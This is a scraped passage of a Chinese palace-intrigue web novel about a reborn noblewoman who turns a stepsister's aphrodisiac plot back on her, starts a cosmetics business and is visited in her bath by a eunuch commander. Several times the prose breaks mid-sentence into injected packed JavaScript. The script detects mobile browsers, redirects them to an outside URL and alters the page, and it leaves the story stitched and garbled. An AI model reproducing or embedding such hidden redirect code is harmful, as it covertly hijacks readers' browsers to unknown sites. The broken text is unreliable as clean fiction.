傅流萤抬眸，眼神平静无波地扫过翠儿微微颤抖的手和那杯递到眼前的果酒。 空气中弥漫着浓郁的酒香和果香，掩盖了一切不该有的气味。 但傅流萤前世在地牢里，对**迷香的气味有着近乎野兽般的直觉。 她在那看似清甜的果酒气息中，捕捉到了一丝极其细微，却令人作呕的甜腻异香。 醉春风！ 傅流萤心中冷笑。 傅明雪，你果然按捺不住了。 她脸上却露出一丝恰到好处的疲惫和感激，虚弱地抬手，“有劳二妹记挂……”她的手看似无力地要去接酒杯，指尖却在即将碰到杯壁的瞬间，状似不经意地轻轻拂过翠儿托盘的边缘。 “哎呀！”翠儿只觉得托盘被一股巧劲猛地一撞，重心顿失！ 一杯酒直接朝着傅流萤的衣裙泼去，另一杯则朝着旁边坐着的傅明雪身上洒去！ 变故突生！ “小姐小心！”春芽和夏婵惊呼着挡在傅流萤身前，那杯酒大半泼在了春芽的衣袖上。 而傅明雪就没那么好运了！她正满心期待地看着傅流萤的方向，等着看好戏，猝不及防被泼了半杯酒在胸口，冰凉的液体瞬间浸透了她的纱衣！ “啊！”傅明雪尖叫一声，猛地跳了起来，又羞又怒地瞪着翠儿，“你这蠢奴才！眼睛瞎了吗？” 翠儿吓得魂飞魄散，扑通跪地，“二小姐饶命！奴婢，奴婢不是故意的！是，是手滑了。” 场面一时有些混乱。柳飞燕赶紧上前安抚傅明雪，用帕子擦拭。 傅流萤“虚弱”地靠在夏婵身上，脸色更白了，对着柳飞燕母女歉意道：“母亲，妹妹，实在对不住，是我没接稳，连累了妹妹……” 她说着，目光却落在傅明雪那被酒液打湿，隐隐透出里衣颜色的胸口，以及她因为愤怒和一丝不易察觉的燥热而泛红的脸颊上。 药效，开始发作了。 傅明雪，你想害我，就让你尝尝自食恶果的下场。 傅流萤的眼底闪过了一抹森冷之意。 重生一世，她都没想过要对傅明雪下药。 毕竟，名声对女人来说太重要太重要了。 己所不欲勿施于人。 她有的是其他的法子折磨傅明雪，让她付出代价，而不是往她的身上套上不洁的枷锁。 可现在傅明雪主动算计她，还用这么阴毒的法子，那就别怪她反击了。 傅明雪只觉得一股莫名的热流从小腹升起，迅速蔓延全身，让她心慌意乱，口干舌燥。 她以为是气的，并未深想，只觉得这地方待不下去了。 “母亲，女儿去换身衣裳！”她声音带着一丝不易察觉的颤抖，匆匆离席，朝着供女眷更衣的厢房快步走去。 计划失败了，只能再寻机会。 看着傅明雪匆匆离去的背影，傅流萤眼中闪过一丝冰冷的嘲讽。 她低声对春芽吩咐了几句，春芽点点头，悄然退出了宴会。 傅明雪回到安排的厢房，翠儿战战兢兢地帮她擦拭，更衣。 然而，那股燥热感非但没有消退，反而越来越强烈，如同无数蚂蚁在啃噬她的理智，眼前阵阵发花，身体深处涌起一种难以言喻的空虚和渴望。 “好热，水，给我水。”傅明雪扯着领口，眼神开始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“天啊！我刚才，我刚才好像看到傅家大小姐衣衫不整地跑进了厢房那边！后面，后面好像还跟着个男人。” “真的假的？” “这……这成何体统啊！” “是真的，我亲眼所见，难不成还能有假？” 说话的是傅明雪的“闺中密友”，吏部侍郎家的庶女赵玉蓉。她声音不大，却足以让周围几桌的人都听得清清楚楚。 第九十八章 抓奸在床 “什么？傅流萤！”柳飞燕第一个惊呼出声，脸色煞白，“不可能！玉蓉，你可看清楚了？流萤她只是去更衣了！” 虽然柳飞燕不喜欢傅流萤。 甚至因为管家大权的事情彻底讨厌了她。 可这到底涉及到了女子的名节。 在这个时代，女子一旦没了名节，那可比死还要悲惨。 “傅伯母，我……我也希望我看错了！”赵玉蓉一副又急又怕的样子，“可那身影，那衣裳，分明就是流萤姐姐啊！还有那男人，看背影有点像是宫中侍卫。” 她故意吞吞吐吐。 这暗示再明显不过了！ 席间瞬间一片哗然！ “什么？傅家大小姐和侍卫。” “天哪！在行宫，这也太……” “傅家大小姐和九千岁不是婚约在即吗，怎么在这个节骨眼上偷人呢？” “九千岁现在一人之下万人之上可说到底是个太监，这傅家大小姐耐不住独守空房的寂寞，提前体验一下男人的乐趣也在情理之中……” “嘘！慎言！慎言！” 议论声如同沸水般炸开。 柳飞燕摇摇欲坠，哭喊道：“我的流萤啊！这一定是误会！一定是有人陷害！老爷！快！快去看看啊！” 她拉着傅莽的手臂。 傅莽脸色铁青，额角青筋暴跳。 无论真假，这脸都丢大了！ “闭嘴！都给我闭嘴！”他怒吼一声，起身就朝着赵玉蓉所指的方向大步走去。 见状，大家都想去看热闹。 所以跟在了傅莽的身后。 傅莽的脸色阴沉得更加厉害了。 他又不能阻拦大家，所以只能任由他们跟着了。 柳飞燕和一群贵妇贵女们，还有赵玉蓉，也跟了上去。 傅流萤在夏婵的搀扶下，躲在了一棵大树后面，冷冷的看着，眼底深处却是一片冰冷的了然。 傅明雪，这份大礼，你可还满意？ 皇上和皇后见众人都往一个方向去。 立马唤来身边的宦官。 询问清楚缘由之后，皇上的脸色有些难看。 这桩婚事可是他亲自赐的婚。 若是在大婚前，傅流萤就做出这没脸没皮的事情，这不是当众打他这个皇帝的脸吗？ 皇上沉着脸和皇后也赶去了厢房。 傅莽一见皇上都惊动了。 愤怒的同时又有些害怕。 一群人浩浩荡荡地来到厢房区域。 还没走近，就听到其中一间厢房里传出令人面红耳赤的女子呻吟和男子粗重的喘息声，以及床榻不堪重负的吱呀声！ 声音之清晰，之放浪，让所有跟来的女眷都臊红了脸，纷纷掩面。 “流萤，我的女儿啊！”柳飞燕发出一声凄厉的哭嚎，扑上去就要撞门。 “滚开！”傅莽怒不可遏，一脚踹开了房门！ 砰！ 门板撞在墙上，发出巨响。 屋内的景象暴露在众人眼前——烛光摇曳，衣衫凌乱地扔了一地。 床榻之上，傅明雪钗横鬓乱，罗裙半褪，雪白的肌肤上布满暧昧红痕，正跨坐在一个同样衣衫不整的男人身上忘情地起伏扭动，口中发出放浪的呻吟。 而她身下的男人，赫然便是只穿着里裤满脸醉意与情欲的二皇子李承睿！ 这冲击性的一幕，让所有人都惊呆了！ 不是傅家大小姐！ 居然是傅明雪。 “啊……”女眷们尖叫着捂眼后退。 “孽障！”傅莽目眦欲裂，气得浑身发抖，几乎要当场拔剑！ 床上的两人被这巨响和尖叫惊得瞬间清醒！ 李承睿的酒意和情欲瞬间被吓飞了大半，看清门口黑压压的人群和傅莽那张铁青暴怒的脸，他魂飞魄散，一把将身上的傅明雪掀开，慌乱地抓起衣物遮挡。 “傅将军！父皇！不是……不是你们看到的那样！是她！是这个**勾引本宫！”李承睿语无伦次地指着同样吓傻，药力退去后只剩下无边恐惧和羞耻的傅明雪。 傅明雪被掀倒在床，赤身裸体地暴露在无数道鄙夷震惊，厌恶的目光下。 “这是怎么回事？怎么大家都齐聚这里可是发生了什么好玩的事情？” 傅流萤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“够了！”皇帝厉喝一声，声音如同寒冰，带着帝王的震怒，“事已至此，证据确凿，还在这里攀咬他人，简直不知羞耻！” 他冰冷的目光扫过跪在地上的李承睿和傅明雪，“李承睿！身为皇子，德行有亏，荒淫无度！禁足三月，罚俸一年，闭门思过！” “至于你，”皇帝的目光落在傅明雪身上，充满了鄙夷，“傅家养女，行为不检，秽乱宫闱，本应严惩！念在你父亲为国为民的份上，死罪可免！即日起，赐予二皇子为……”皇帝顿了一下，眼中厌恶更深，“侍妾。择日……过府吧。” 侍妾？ 这两个字如同一把淬毒的**，狠狠扎进了傅明雪的心窝！ 她谋划半生，心心念念的是正室嫡妻之位！ 是成为人上人！ 可如今，不仅清白尽毁，声名扫地，还被皇帝亲口赐为……侍妾。 连一个卑微的妾室都比不上。 巨大的落差和羞辱让她眼前一黑，喉头一甜，一口鲜血猛地喷了出来，随即软倒在地，彻底昏死过去。 “明雪。”柳飞燕扑上去哭嚎。 傅莽脸色灰败，对着皇帝深深一揖，声音苦涩，“臣……谢陛下恩典。” 他知道，这已经是皇帝看在傅家军功和萧玹的面子上的最大的开恩了。 傅家的脸，今日是彻底丢尽了。 一场闹剧，彻底告终。 傅流萤看着昏死过去的傅明雪和被内侍拖走的二皇子，眼底一片冰寒。 这只是开始，傅明雪，傅莽，傅凛……欠下的债，该慢慢还了。 围猎风波过后，傅府陷入了一种诡异的平静。 傅明雪被抬回来后，就被柳飞燕关在了自己的院子里养病，实则是在准备“嫁”入二皇子府为侍妾的事宜。 这桩婚事，对傅家是奇耻大辱，对傅明雪更是灭顶之灾。 府中气氛压抑，下人们走路都小心翼翼。 芳华苑内，却是一番截然不同的景象。傅流萤肩伤渐愈，精神也好了许多。 “小姐！小姐！大喜事！”春芽像只欢快的鸟儿般冲进房内，脸上是抑制不住的兴奋，“咱们的芳华露和香唇膏在西市那几家铺子寄卖，才短短几日，就被抢购一空！掌柜的派人来问，什么时候能再供货？有多少要多少！价格……价格还可以再商量！” 夏婵也激动地补充：“奴婢今日去采买，听好些铺子的伙计都在议论，说不知道哪里冒出来的新货，比玉堂春的还要细腻滋润，颜色又正又自然，香味也独特，京里的夫人小姐们都喜欢得不得了！都在打听是哪家出的呢！” 傅流萤放下手中的书卷，唇角勾起一抹预料之中的笑意。 这结果，并未出乎她的意料。 她深知京城贵妇贵女们对容貌的追求和攀比之心，她亲手调配的胭脂口脂，无论在品质色泽还是独特性上，都远超这个时代市面上的普通货色，再加上那宫中秘方的噱头，不火都难。 “很好。”她点点头，“告诉那几位掌柜，货，有。但规矩要变一变了。从寄卖，改为供货。我要他们提前支付三成定金，并且签订独家供货契约，半年内只能卖我们的芳华记。” “芳华记？”两个丫鬟眼睛一亮。 “对，我们的招牌。”傅流萤眼中闪烁着锐利的光芒，“春芽，你去找牙行，盘下一处位置尚可、带后院的小铺面，不用太大，但要干净雅致。” “夏婵，你再去采买一批上等原料，分量加倍，另外，贴出告示，招几个手脚麻利身家清白的妇人来做工，工钱从优。” 她要建立自己的作坊和销售渠道，将命运牢牢掌握在自己手中。 这第一步，走得异常顺利。 随着“芳华记”的招牌悄然挂起，第一批打着“芳华记”名号的精致瓷盒胭脂水粉正式出货，立刻在京城的贵妇圈子里掀起了一阵小小的风暴。 口口相传的力量是巨大的，“芳华记”以其绝佳的品质和神秘感，迅速取代了“玉堂春”在不少人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16166390|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心中的地位，成为新的风尚标。 傅流萤严格控制着产量，营造出一种“物以稀为贵”的假象，价格也水涨船高，利润滚滚而来。 然而，蛋糕就那么大，有人崛起，必然有人受损。 京城最大的胭脂水粉商行玉堂春的后院账房内，气氛凝重。 掌柜的拿着几盒“芳华记”的样品，脸色铁青地放在一个锦衣华服的年轻男子面前。 “二少爷，您看看！就是这玩意儿！不知道从哪个犄角旮旯冒出来的芳华记，抢了我们多少生意！西市、东市几家大铺子，以前都是我们的老主顾，现在都跑去进他们的货了！价格还死贵，偏偏那些夫人小姐们还趋之若鹜！再这样下去，咱们玉堂春的招牌就要砸了！” 坐在主位上的年轻男子，正是傅家的二少爷，傅湛。 他掌管着傅家不少庶务，这“玉容斋”便是他名下最赚钱的产业之一。 傅湛拿起一盒香唇膏，打开嗅了嗅，又用手指沾了点膏体捻开，脸色越来越难看。 他是行家，自然看得出这东西的成色和细腻度，确实比自家引以为傲的“玉堂春”高出一筹！ “废物！”傅凛猛地将瓷盒掼在地上，摔得粉碎，红色的膏体溅了一地，“一群废物！连对手的底细都查不出来吗？这芳华记的东家是谁？作坊在哪里？秘方从何而来？” 掌柜的吓得一哆嗦，“二少爷息怒！小的……小的派人去查了，那铺面是个生面孔的妇人出面盘下的，说是南边来的，具体来历不明。作坊……更是隐蔽，根本找不到！至于秘方……更是无从下手啊！” “南边来的？”傅凛眼神阴鸷，“给我砸钱！把他们的货源断了！挖他们的工匠！不管用什么办法，给我把这芳华记摁死！敢抢我傅湛的生意，活得不耐烦了！” 他气得在屋里来回踱步，嘴里不干不净地骂着，“不知死活的狗东西！断人财路如**父母！要是让小爷我知道是谁在背后捣鬼，非扒了他的皮，抽了他的筋不可！” 第一百章 动了凡心 还有那些见风使舵的铺子，都给我记着！等收拾了芳华记，有他们好看！” 就在傅湛为芳华记焦头烂额，暴跳如雷之时，督主府的书房内，气氛却截然不同。 萧玹坐在书案后，听着心腹残风的禀报。 “……那芳华记的铺面，明面上是一个姓张的寡妇出面，实则背后的东家，是傅将军府的大小姐傅流萤。” “作坊就在她盘下的铺面后院，由几个签了死契的妇人打理，秘方由她亲自掌控。目前生意极好，已对傅湛的玉容斋造成了不小的冲击。” “现在傅湛正在四处打探，想用手段打压。” 深沉的夜色被跳跃的烛火勉强驱散一角，却更衬得室内气氛凝重如铁。 禀报完毕，残风垂首肃立。 空气仿佛凝固了，只有烛芯偶尔爆开的轻微噼啪声，以及…… 萧玹修长如玉骨节分明的手指，在紫檀木桌面上，有一下没一下地敲击着。 那声音极轻，极规律，却如同催命的鼓点，敲在残风和陆离的心上，让他们大气都不敢喘。 陆离，这位东厂令人闻风丧胆的掌刑千户，此刻也感到了那股无形的寒意。 他忍不住微微侧首，目光扫过自家督主那张在烛火明灭中更显俊美也更为冷硬的侧脸。 终于，他按捺不住心头的狠戾与一丝急于表功的冲动，压低声音，带着一股特有的阴冷腔调道，“督主，傅湛此人，行事向来不择手段，阴狠下作，为达目的无所不用其极。” “傅大小姐虽有些心计，但毕竟深居闺阁，与他相争，恐防不胜防，傅湛若狗急跳墙，使出些下三滥的招数，只怕傅大小姐难以招架。” “要不要属下……”他做了一个干净利落的手势，拇指在颈间轻轻一划，意思再明显不过。 让傅湛无声无息地意外消失，永绝后患。 萧玹敲击桌面的手指倏然停住。 他缓缓抬起眼眸。 那目光，不再是平日里的淡漠疏离，而是如同深潭寒冰骤然碎裂，带着洞穿人心的锐利和一股令人窒息的威压，冷冷地落在陆离的脸上。 “愚蠢。” 短短两个字，很冰冷。 陆离瞬间如坠冰窟，一股寒意从脚底板直冲天灵盖，激得他头皮发麻，脊背瞬间被冷汗浸透。 他猛地单膝跪地，头颅深深低下，声音带着一丝不易察觉的颤抖，“属下愚钝！思虑不周，险些误了督主大事！请督主责罚！” 萧玹并未看他，也并未回应他的请罪。 那冰冷的视线仿佛只是随意扫过一只蝼蚁，便收了回去。 他重新将目光落回桌案上那份关于傅湛和玉容斋近况的密报，指尖无意识地划过纸面，最终，精准地停顿在“傅湛”二字上。 萧玹的眼底深处是一片深不见底的幽潭，翻涌着旁人难以窥探的深沉算计。傅湛？ 一个跳梁小丑罢了。 他的价值，不值得他的人出手。 倒是可以留着这块磨刀石，看看那个总是一副沉静面孔下藏着锋利爪牙的女人，究竟能做到哪一步？ “盯着傅流萤。”萧玹终于开口，声音恢复了惯常的淡漠，听不出丝毫波澜。 他并未抬头，只是对着残风吩咐，仿佛在说一件微不足道的小事。 “是，督主！”残风心头猛地一跳，立刻躬身应下，不敢有丝毫迟疑。 他面上恭敬，心里却瞬间翻江倒海。 又盯？ 督主对这位未来夫人的关注度，是不是有点……太频繁了？ 从围猎遇险崖底那诡异的“照料”，到如今连她暗中经营胭脂水粉铺子这种“小事”都要派人日夜盯着…… 这完全不符合督主一贯的行事风格啊！督主何时对一个人，尤其是一个女人，如此上心过？ 残风小心翼翼地抬起眼皮，飞快地觑了一眼自家督主。 烛光在萧玹轮廓分明的侧脸上投下深邃的阴影，那俊美无俦的容颜依旧如冰雕玉琢，常年覆盖着一层化不开的寒霜。 但残风跟随萧玹多年，隐约能感觉到， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16166391|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 督主此刻的气息，似乎与平日那种纯粹的冰冷无情，有了一丝极其细微的不同。 那是一种……带着审视，甚至掺杂着一丝难以言喻的兴味？ 一个大胆得近乎荒谬的念头，不受控制地在残风心底炸开。 督主他……莫不是对这位傅家大小姐，动了凡心？ 这个念头一起，便如同野草般疯长。残风越想越觉得有可能。 抛开立场和恩怨不谈，那位傅大小姐确实生得倾国倾城，气质独特。 更难得的是那份胆识与心计，猎场挽弓的飒爽英姿，崖底高烧时的脆弱隐忍，宴会上不动声色反杀傅明雪的狠辣从容，如今更是展现出惊人的经商天赋，把傅湛那个自诩精明的家伙耍得团团转。 这样的女子，如同带刺的玫瑰，神秘而危险，却散发着致命的吸引力。 督主若真对她起了心思，似乎……也并非完全不可能？ 只是……残风看着萧玹那副万年不变的冰山脸，再想想他平日里对傅大小姐不是冷嘲热讽就是威胁警告的态度，心里顿时凉了半截。 督主啊督主，您这追妻的方式，是不是太独特了点？ 这哪里是博取芳心，分明是往死里得罪人啊！ 这样下去，别说抱得美人归了，怕是要把人彻底推到对立面去！ 残风越想越觉得自家督主在“情路”上简直是走在一条布满荆棘看不到尽头的绝路上。 他心念一转，一股“为主分忧”的冲动涌了上来。 残风深吸一口气，鼓足十二万分勇气，试探着，“督主，既然傅大小姐那边可能有麻烦，傅湛又是个不择手段的小人，属下担心光盯着恐怕……恐怕不能万全。您……您要不要抽空亲自去看看？” 话音刚落，残风就感觉一股比刚才更加沉重冰冷的威压，如同实质般兜头罩下！ 空气仿佛都凝滞了。 萧玹缓缓地、极其缓慢地抬起眼。那双深不见底的眸子，不再是纯粹的冰冷，而是带上了一种似笑非笑、仿佛洞悉一切的玩味。 第一百零一章 撞见美人出浴 萧玹的薄唇轻启，吐出的声音不高，却像冰一样动人，“哦？怎么，你很想本督去找她？” 残风头皮轰的一声炸开，后背的冷汗瞬间湿透了里衣。 他连舌头都僵硬了，连忙把头摇得像拨浪鼓，语无伦次地辩解，“不不不！督主明鉴！属下绝无此意！属下只是……只是觉得傅大小姐毕竟是您未来的夫人，是御赐的婚事！她若真被傅湛那种阴沟里的老鼠算计了，吃了亏，折了面子事小，万一……万一影响到督主您的威名，岂不是因小失大？属下……属下愚钝，所思所想全是为了督主您的清誉和东厂的颜面啊！” 他几乎把能想到的理由都想了一遍。 萧玹看着他这副样子，唇角极其细微地向上勾了一下。 “本督的威名，”他慢条斯理地开口，每一个字都像是冰珠落地，“还轮不到一个傅流萤来损。做好你分内的事，滚下去。” “是！属下遵命！属下告退！” 残风如蒙大赦，几乎是连滚爬爬地退出了书房，直到那扇沉重的紫檀木门在身后关上，隔绝了那令人窒息的威压，他才敢大口喘气， 靠着冰冷的墙壁，感觉双腿都在发软。 他抹了把额头的冷汗，心有余悸。 督主的心思，果然比东厂诏狱最底层的秘密还要难猜！ 傅大小姐啊傅大小姐，您自求多福吧！ 属下只能帮您到这儿了！ 书房内重归死寂。 萧玹的目光却并未收回，而是落在了窗外沉沉又无边无际的夜色上。 残风那点自以为掩饰得很好的小心思，在他眼中如同透明。 只是……那个女人，当真需要他？ 萧玹的眸色渐深。 脑海中，却不由自主地闪过一幅幅画面。 猎场上，她迎着日光拉弓，眼神凛冽如寒星，箭矢破空而去时带起的决绝。 崖底篝火旁，她高烧昏迷，褪去所有防备，脆弱得像个孩子。 宴会上，面对三皇子的刁难和傅明雪的算计，她从容起身，背脊挺得笔直，眼神沉静如渊，说出“臣女愿下场一试”时的坚定。 还有…… 她像一团让人看不透也猜不透的迷雾，看似柔弱可欺，可实则却是在步步为营，暗藏锋芒。 她需要他去看吗？ 萧玹心底冷哼一声。 她看起来，似乎很擅长处理这些麻烦。 然而，鬼使神差地，那玄色的身影从宽大的紫檀木椅中站了起来。 袍袖拂过桌面，带起一阵微不可查的风，吹得烛火猛地摇曳了一下，在他脸上投下明明灭灭的光影。 他没有惊动任何人，身形如同融入夜色的幽灵，悄无声息地推开侧窗，足尖在窗棂上一点，便化作一道模糊的玄影，彻底融入了沉沉的黑暗之中。 此时此刻 芳华苑内，烛光柔和。 折腾了一整日，傅流萤只觉得身心俱疲。 春芽和夏婵还有另外两个婢女给拎着热水倒进浴桶里。 “大小姐，泡个热水澡解解乏吧。” 傅流萤淡淡的嗯了一声。 很快浴桶的水就被倒满。 傅流萤嗯了一声，然后将调配好的药材放在了浴桶内。 两个侍女给她更衣。 肩胛骨处的箭伤虽然愈合得不错，但被热水一浸，那新生的嫩肉便传来一阵阵刺痛。 “你们先下去吧。”她挥手屏退了执意要留下伺候的春芽和夏婵。 宽大的雕花浴桶内，热气蒸腾，氤氲的水汽弥漫了整个净室，带着淡淡的草药清香。 傅流萤将自己整个儿沉入温热的水中，只露出肩膀以上。 乌黑如瀑的长发被打湿，如海藻般柔顺地漂浮在水面上，几缕发丝粘在她光洁细腻的颈侧和圆润的肩头。 水珠沿着她精致的锁骨缓缓滑落，没入被花瓣和雾气遮掩的水下。 她微微仰着头，靠在光滑的桶壁上，闭上双眸。长而卷翘的睫毛被水汽濡湿，在眼睑下投下一小片浓密的阴影。 各种纷乱的画面交织在一起。 最让她心神不宁的，却是萧玹。 崖底那一夜，高烧昏迷中的记忆碎片般涌来。 那件带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16174533|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尘土和血腥气却意外残留着他体温的玄色外袍粗暴地裹在她身上。 额头上反复更换，浸透冰冷溪水的布巾，持续地带来清凉。 还有昏迷前最后一眼看到的，他沾满泥污草屑却依旧冷峻的侧脸，以及那双深不见底的眸子里，一闪而过的担心？ 是真实的吗？还是她看错了？ 这和她认知中那个冷酷无情，刻薄寡恩的东厂督主，简直判若两人。 他到底……是个怎样的人？ 是披着人皮的恶魔，还是……藏得更深的谜团？ 就在她心神摇曳，试图理清这团乱麻时，一丝极细微的、几乎被水汽流动声完全掩盖的声音，如同投入平静湖面的石子，瞬间打破了净室的宁静！ 傅流萤很敏锐地感觉到了，猛地睁开双眼！ 她的眸中所有慵懒，疲惫和迷茫瞬间褪尽，只剩下鹰凌厉警惕还有冰封千里的杀意！ 她左手闪电般抓起搭在桶沿的宽大棉布浴巾，右手猛地一拍水面借力，身体如同游鱼般迅捷下沉，同时将浴巾迅速裹住胸口以下！ 动作一气呵成，快得只在空气中留下几道残影和水花溅落的声响。 整个过程中，她只露出了肩膀以上湿漉漉的部分。 傅流萤厉声喝问，声音如同出鞘的冰刃，穿透水汽，“谁？” 话音未落，一道玄色身影已如鬼魅般翻窗而入，落地无声，甚至没有带起一丝风。 仿佛他本身就是这夜色的一部分。 清冽的夜风随着他的闯入，短暂地驱散了室内的暖湿水汽，带来一股独属于他的冷冽如雪松又极具侵略性的压迫气息。 是萧玹！ 傅流萤的心脏在看清来人的瞬间，如同被一只无形的手狠狠攥住，骤然停止了跳动！ 随即，一股滔天的羞愤和冰冷的怒火瞬间席卷了她的四肢百骸！ 她万万没想到，他竟敢如此肆无忌惮，深更半夜，潜入她的闺房！ 而且是在……在她沐浴之时！ “督主好雅兴！”傅流萤的声音很冷，每一个字都像是从齿缝里挤出来似的。 第一百零二章 妇人之仁 傅流萤裹着湿漉漉浴巾的手紧紧攥着边缘，指节因为用力而泛出青白色。 她极力维持着表面的镇定，但被水汽蒸腾得本就泛着粉色的脸颊和耳根，瞬间染上了一层浓艳的绯红，如同雪地里骤然绽放的红梅。 “不知督主深夜擅闯女子闺房，意欲何为？东厂行事，如今已如此不顾礼法廉耻，视女子清誉如无物了吗？” 傅流萤的声音带着毫不掩饰的愤怒。 平日里萧玹夜闯她闺房就算了。 可是现在不一样。 差一点，她就被萧玹看光了。 傅流萤还没有胆大奔放热情到，可以毫无顾忌地在一个男人面前展示自己的身体。 哪怕这个男人是她未来的夫君。 萧玹的目光在她身上扫过。朦胧的水汽如同最上等的轻纱，笼罩着她。 她如一朵被迫绽放在夜色中的出水芙蓉，肌肤在烛光和水汽的映衬下，呈现出一种近乎透明的莹润光泽。 湿透的墨发凌乱地贴在颈侧和光洁的肩头，蜿蜒而下，没入被浴巾紧裹的起伏曲线之下。 那抹因羞怒而起的红晕，从脸颊蔓延至耳根，甚至染红了精致的锁骨，为她清冷绝艳的面容平添了几分惊心动魄的艳色与……脆弱。 他深不见底的眸色，似乎因这活色生香的一幕，极其隐晦地波动了一瞬，如同投入深潭的石子，荡开一圈微不可查的涟漪，但转瞬即逝，快得让人以为是错觉。 随即，那惯常的冰冷覆盖上来，甚至比平日更添了几分刻意的轻嘲与审视。 他并未理会她愤怒的质问，反而迈开长腿，朝浴桶这边不紧不慢地走近了两步。 随着他的靠近，那股冷冽又极具存在感的气息瞬间变得更加浓烈，几乎要将浴桶中蒸腾的热气压下去。 他的视线如同有实质，带着穿透一切的力度，毫不避讳地落在她因紧张而微微起伏的胸口，那被湿透的浴巾紧紧包裹勾勒出的玲珑曲线，以及裸露在水面上、沾着水珠的光滑圆润肩头。 “本督只是来提醒傅大小姐，”他开口，声音不高，却带着一种奇异的穿透力，清晰地传入她耳中，语气是惯有的刻薄与居高临下的审视。 “玩火，小心烧到自己。傅湛那蠢货，虽不足为虑，但狗急跳墙，手段未必如你所想的那般好看。” “你那些小打小闹、藏在犄角旮旯的铺子和作坊，经得起几次……折腾？” 他的靠近让傅流萤浑身肌肉瞬间绷紧。 那极具侵略性的目光如同实质般刮过她的肌肤，让她如芒在背，仿佛自己正赤身裸体暴露在对方眼中。 她强压下心头的惊涛骇浪和恨不得将他双眼剜出来的冲动，冷冷地迎视着他那双深不见底、仿佛能吞噬一切光亮的眸子，声音竭力维持着平稳。 “不劳督主费心，我的铺子，我的生意，我自有分寸，倒是督主，深夜闯入，便是为了说这些无关紧要的风凉话？东厂何时也管起商贾之事了？” “无关紧要？”萧玹仿佛听到了什么极其可笑的事情，低低地笑了一声。 那笑声在寂静的夜里格外清晰，也格外冰冷刺骨，带着浓浓的讥诮。 “断人财路如**父母。傅湛此刻，怕是恨不得杀了你。” 傅流萤的心猛地一沉。 这正是她连日来最大的隐忧。 傅湛的卑劣无耻和毫无底线，她比任何人都清楚。 萧玹的话，并非危言耸听，而是极有可能发生的现实。 “那依督主高见？”傅流萤深吸一口气，压下胸腔里翻腾的怒火。 他到底想做什么？ 仅仅是来看她笑话，还是……另有所图？ 看她笑话， 萧玹似乎很满意她终于正视这个问题。 他又逼近一步，高大的身影几乎完全笼罩了浴桶，投下的阴影将傅流萤完全覆盖。 他甚至能清晰地感受到浴桶里蒸腾出的温热湿气拂过他的衣袍下摆。 他微微俯身，那张俊美得近乎妖异却冷硬如冰的脸，距离她不过咫尺。 他俯视着她，如同神祇俯视蝼蚁，带着一种掌控一切的漠然和残酷。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我傅流萤行事，纵有千般算计，万般不得已，也有一条底线，绝不牵连无辜，不断人生路！” 傅流萤的眼神清澈坚定，直视着萧玹。 “呵。”萧玹发出一声短促的，充满讥讽意味的冷笑，仿佛听到了世间最可笑的笑话。 “傅大小姐倒真是菩萨心肠，悲天悯人。可惜，在这弱肉强食、**不吐骨头的名利场，你的这点慈悲，只会成为别人捅向你时的利刃，妇人之仁，终将自误！” 第一百零三章 坦诚相见 他盯着她水汽氤氲中依旧倔强不屈的脸庞，那抹因沐浴而生的红晕还未完全褪尽，眼神却已如此澄澈坚定，像一株在暴风雪中傲然挺立，宁折不弯的梅花。 两人目光在空中激烈地碰撞交锋，无声的对峙在氤氲的水汽中弥漫开来。 空气仿佛凝固成了实质，沉重得让人喘不过气。 “或许这是妇人之仁，但我觉得值得。” 萧玹的目光落在了傅流萤那上清澈明亮的眸子里。 他漆黑深邃的眼底闪过了一抹暗芒。 “何必脏了自己的手？”萧玹唇角勾起一抹淡淡的弧度，带着掌控生死的漠然。 “傅二公子不是自诩风流倜傥，喜好流连风月场，又自认精明过人，擅长钻营么？” 